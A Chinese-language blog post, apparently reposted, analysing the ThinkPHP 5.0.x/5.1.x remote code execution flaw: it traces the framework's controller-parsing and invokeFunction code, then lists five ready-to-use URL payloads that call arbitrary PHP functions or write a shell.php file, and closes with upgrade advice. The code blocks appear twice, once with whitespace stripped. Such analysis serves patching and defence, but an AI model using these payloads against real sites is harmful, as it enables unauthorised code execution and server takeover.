php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析
引言
ThinkPHP 是一個免費開源的，快速、簡單的面向對象的輕量級PHP開發框架，因為其易用性、擴展性，已經成長為國內頗具影響力的WEB應用開發框架。
本次ThinkPHP5.x漏洞爆出時間大約是2018-9月，尚處于 0day 階段時就已經被用于攻擊多個虛擬貨幣類、金融類網站；直到2018-10-8號左右才被廣泛傳開，殺傷力太大，無條件執行代碼，我的幾個項目也緊急的升級，有驚無險。
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
漏洞分析我是第一時間在T00ls上看的，現在已經全網到處都是了。
漏洞分析
該漏洞出現的原因在于ThinkPHP5框架底層對控制器名過濾不嚴，從而讓攻擊者可以通過url調用到ThinkPHP框架內部的敏感函數，進而導致getshell漏洞。
漏洞點在Module.php，先調用的exec函數，初始化類時調用init()從$this->dispatch獲取$controller和 $this->actionName的值然后進入exec函數。
public function init()
{
parent::init();
$result = $this->dispatch;
.........................
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
$this->controller = $convert ? strtolower($controller) : $controller;
// 獲取操作名
$this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action'));
// 設置當前請求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller, 1))
->setAction($this->actionName);
return $this;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
publicfunctioninit()
{
parent::init();
$result=$this->dispatch;
.........................
$controller=strip_tags($result[1]?:$this->rule->getConfig('default_controller'));
$this->controller=$convert?strtolower($controller):$controller;
// 獲取操作名
$this->actionName=strip_tags($result[2]?:$this->rule->getConfig('default_action'));
// 設置當前請求的控制器、操作
$this->request
->setController(Loader::parseName($this->controller,1))
->setAction($this->actionName);
return$this;
}
先調用的exec函數，初始化類時調用init()從$this->dispatch獲取$controller和 $this->actionName的值然后進入exec函數。
public function exec()
{
// 監聽module_init
$this->app['hook']->listen('module_init');
try {
// 實例化控制器
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
$this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
// 獲取當前操作名
$action = $this->actionName . $this->rule->getConfig('action_suffix');
if (is_callable([$instance, $action])) {
// 執行操作方法
$call = [$instance, $action];
// 嚴格獲取當前操作方法名
$reflect = new ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $this->rule->getConfig('action_suffix');
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$this->request->setAction($actionName);
// 自動獲取請求變量
$vars = $this->rule->getConfig('url_param_type')
? $this->request->route()
: $this->request->param();
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$this->actionName];
$reflect = new ReflectionMethod($instance, '_empty');
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
$this->app['hook']->listen('action_begin', $call);
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
return $this->autoResponse($data);
});
return $this->app['middleware']->dispatch($this->request, 'controller');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
publicfunctionexec()
{
// 監聽module_init
$this->app['hook']->listen('module_init');
try{
// 實例化控制器
$instance=$this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
}catch(ClassNotFoundException$e){
thrownewHttpException(404,'controller not exists:'.$e->getClass());
}
$this->app['middleware']->controller(function(Request$request,$next)use($instance){
// 獲取當前操作名
$action=$this->actionName.$this->rule->getConfig('action_suffix');
if(is_callable([$instance,$action])){
// 執行操作方法
$call=[$instance,$action];
// 嚴格獲取當前操作方法名
$reflect=newReflectionMethod($instance,$action);
$methodName=$reflect->getName();
$suffix=$this->rule->getConfig('action_suffix');
$actionName=$suffix?substr($methodName,0,-strlen($suffix)):$methodName;
$this->request->setAction($actionName);
// 自動獲取請求變量
$vars=$this->rule->getConfig('url_param_type')
?$this->request->route()
:$this->request->param();
}elseif(is_callable([$instance,'_empty'])){
// 空操作
$call=[$instance,'_empty'];
$vars=[$this->actionName];
$reflect=newReflectionMethod($instance,'_empty');
}else{
// 操作不存在
thrownewHttpException(404,'method not exists:'.get_class($instance).'->'.$action.'()');
}
$this->app['hook']->listen('action_begin',$call);
$data=$this->app->invokeReflectMethod($instance,$reflect,$vars);
return$this->autoResponse($data);
});
return$this->app['middleware']->dispatch($this->request,'controller');
}
在$this->app->controller中將$this->controller進行實例化，跟進$this->app->controller。
$instance = $this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return $this->__get($class);
} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
return $this->__get($emptyClass);
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$instance=$this->app->controller($this->controller,
$this->rule->getConfig('url_controller_layer'),
$this->rule->getConfig('controller_suffix'),
$this->rule->getConfig('empty_controller'));
publicfunctioncontroller($name,$layer='controller',$appendSuffix=false,$empty='')
{
list($module,$class)=$this->parseModuleAndClass($name,$layer,$appendSuffix);
if(class_exists($class)){
return$this->__get($class);
}elseif($empty&&class_exists($emptyClass=$this->parseClass($module,$layer,$empty,$appendSuffix))){
return$this->__get($emptyClass);
}
thrownewClassNotFoundException('class not exists:'.$class,$class);
}
$this->parseModuleAndClass對傳入的controller進行解析，返回解析出來的class以及module。可以看到如果$name以\開頭就將name直接作為class，再返回到controller函數中將$class實例化成object對象，返回給exec函數中的$instance。
protected function parseModuleAndClass($name, $layer, $appendSuffix)
{
if (false !== strpos($name, '\\')) {
$class = $name;
$module = $this->request->module();
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name, 2);
} else {
$module = $this->request->module();
}
$class = $this->parseClass($module, $layer, $name, $appendSuffix);
}
return [$module, $class];
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protectedfunctionparseModuleAndClass($name,$layer,$appendSuffix)
{
if(false!==strpos($name,'\\')){
$class=$name;
$module=$this->request->module();
}else{
if(strpos($name,'/')){
list($module,$name)=explode('/',$name,2);
}else{
$module=$this->request->module();
}
$class=$this->parseClass($module,$layer,$name,$appendSuffix);
}
return[$module,$class];
}
最后就是調用invokeArgs進行反射調用類中的方法了。
有了任意調用類的方法，我們就只需要找一下可以從那些類進行觸發，主要看看\thinkphp\library\think\App.php中的，invokeFunction。
ThinkPHP 5.0.x漏洞invokeFunction
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 記錄執行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
1
2
3
4
5
6
7
8
9
10
publicstaticfunctioninvokeFunction($function,$vars=[])
{
$reflect=new\ReflectionFunction($function);
$args=self::bindParams($reflect,$vars);
// 記錄執行信息
self::$debug&&Log::record('[ RUN ] '.$reflect->__toString(),'info');
return$reflect->invokeArgs($args);
}
ThinkPHP 5.1.x漏洞invokeFunction
public function invokeFunction($function, $vars = [])
{
try {
$reflect = new ReflectionFunction($function);
$args = $this->bindParams($reflect, $vars);
return call_user_func_array($function, $args);
} catch (ReflectionException $e) {
throw new Exception('function not exists: ' . $function . '()');
}
}
1
2
3
4
5
6
7
8
9
10
11
12
publicfunctioninvokeFunction($function,$vars=[])
{
try{
$reflect=newReflectionFunction($function);
$args=$this->bindParams($reflect,$vars);
returncall_user_func_array($function,$args);
}catch(ReflectionException$e){
thrownewException('function not exists: '.$function.'()');
}
}
都是對傳入的$function以及$var進行動態調用，直接傳入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1即可。
漏洞復現
payload如下：
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?> #在shell.php中寫入phpinfo
?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?> #linux下使用
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
1
2
3
4
5
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php %20phpinfo();?>#在shell.php中寫入phpinfo
?s=index/\think\view\driver\Php/display&content=<?php %20phpinfo();?>#linux下使用
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
直接訪問即可任意代碼執行。
漏洞防御
升級到Thinkphp最新版本，包括自動升級最新內核版本和手動升級方法，具體看官方：https://blog.thinkphp.cn/869075 。
總結
以上是生活随笔為你收集整理的php5.2 get漏洞,ThinkPHP 5.x 远程代码getshell漏洞分析的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 慕课网_《Java实现对称加密》学习总结
- 下一篇： c php base64,C语言实现ba